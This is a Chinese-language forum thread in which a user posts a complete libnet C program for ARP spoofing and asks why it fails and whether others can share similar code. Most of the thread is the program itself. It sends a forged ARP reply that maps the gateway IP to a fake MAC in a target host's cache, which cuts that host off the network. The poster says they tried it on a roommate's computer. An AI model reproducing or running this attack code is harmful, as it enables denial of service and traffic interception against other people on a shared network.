求一个用libnet库写的ARP欺骗的例子

nwcfafniw

最近看了UNP第29章，想写一个ARP欺骗的程序，写成后拿舍友的电脑来试验，结果舍友还能上网，我自己倒不能上网了（我们宿舍四个人用一个路由器），这里把程序贴出来，请大家帮我看看。如果大家之前有写过这类程序，能在下面贴出来给我参考下是最好不过了。。多谢大家！

1. 
   
2. #include <unp.h>
   
3. #include <libnet.h>
   
4. #include <net/if_arp.h>
   
5. 
   
6. /*
   
7. * argv[1]为欺骗目标的IP地址，argv[2]为要修改目标主机的ARP表项的IP地址
   
8. * 有了欺骗目标的IP地址后，通过访问ARP缓存来获得目标主机的MAC地址
   
9. * 这是因为目标主机通常和我们在同一个网段，我们可以通过ping目标主机来获得目标主机IP到目标主机MAC地址的ARP表项
   
10. * 举个例子，当输入 “./arpcheat 192.168.1.100 192.168.1.1” 时，则把主机192.168.1.100的ARP表中的192.168.1.1
    
11. * 对应的MAC地址改成 a5:a5:a5:a5:a5:a5
    
12. */
    
13. 
    
14. libnet_t *pnet;
    
15. libnet_ptag_t arptag;
    
16. libnet_ptag_t ethtag;
    
17. 
    
18. int main(int argc, char *argv[])
    
19. {
    
20.     int fd;
    
21.     struct sockaddr_in *sin;
    
22.     struct arpreq arpreq;
    
23.     uint8_t mod[4], h_dest[6], h_mod[6], *ptr;
    
24.     char errbuf[LIBNET_ERRBUF_SIZE];
    
25. 
    
26.     if (argc != 3)
    
27.         err_quit("Usage: arpcheat <dest ip> <modified ip>");
    
28. 
    
29.     /* 通过访问ARP缓存来获得目标主机的MAC地址 */
    
30.     bzero(&arpreq, sizeof(struct arpreq));
    
31.     sin = (struct sockaddr_in *) &arpreq.arp_pa;
    
32.     sin->sin_family = AF_INET;
    
33.     Inet_pton(AF_INET, argv[1], &sin->sin_addr);
    
34. 
    
35.     fd = Socket(AF_INET, SOCK_DGRAM, 0);
    
36.     strcpy(arpreq.arp_dev, "wlan0");
    
37.     Ioctl(fd, SIOCGARP, &arpreq);
    
38. 
    
39.     /*
    
40.      * mod中存放修改主机的IP，h_dest中存放目标主机的MAC地址
    
41.      * h_mod中存入 a5:a5:a5:a5:a5:a5
    
42.      */
    
43.     Inet_pton(AF_INET, argv[2], mod);
    
44.     memcpy(h_dest, &arpreq.arp_ha.sa_data[0], 6);
    
45.     memset(h_mod, 0xa5, 6);
    
46. 
    
47.     /* 初始化libnet */
    
48.     pnet = libnet_init(LIBNET_LINK_ADV, "wlan0", errbuf);
    
49.     if (pnet == NULL)
    
50.         err_quit("Can't initialize libnet: %s", errbuf);
    
51. 
    
52.     /* 构造ARP报文 */
    
53.     arptag = libnet_build_arp(
    
54.         1,                           /* 以太网地址类型 */
    
55.         0x0800,                        /* IP地址类型 */
    
56.         6,                        /* 以太网地址长度 */
    
57.         4,                        /* IP地址长度 */
    
58.         ARPOP_REPLY,                /* ARP响应 */
    
59.         h_mod,                        /* 发送主机的MAC地址，这里是 a5:a5:a5:a5:a5:a5 */
    
60.         mod,                        /* 发送主机的IP地址 */
    
61.         h_dest,                        /* 目标主机的MAC地址 */
    
62.         (uint8_t *) &sin->sin_addr, /* 目标主机的IP地址 */
    
63.         NULL,
    
64.         0,
    
65.         pnet,
    
66.         0);
    
67. 
    
68.     if (arptag == -1)
    
69.         err_quit("arptag error");
    
70.     /* 构造以太网头部 */
    
71.     ethtag = libnet_build_ethernet(
    
72.         h_dest,                        /* 目标主机的MAC地址 */
    
73.         h_mod,                        /* 发送主机的MAC地址 */
    
74.         0x0806,                        /* 以太网帧类型，这里是ARP */
    
75.         NULL,
    
76.         0,
    
77.         pnet,
    
78.         0);
    
79. 
    
80.     if (ethtag == -1)
    
81.         err_quit("ethtag error");
    
82.    
    
83.     /* 写出以太网帧 */
    
84.     if (libnet_write(pnet) < 0)
    
85.         printf("lost packet\n");
    
86.    
    
87.     libnet_destroy(pnet);
    
88.    
    
89.     return 0;
    
90. }
    

复制代码

crazyhadoop

你自己的IP是多少？

nwcfafniw

crazyhadoop 发表于 2013-11-07 21:33
你自己的IP是多少？

我忘了。。但是我拿来测试的不是自己的IP地址。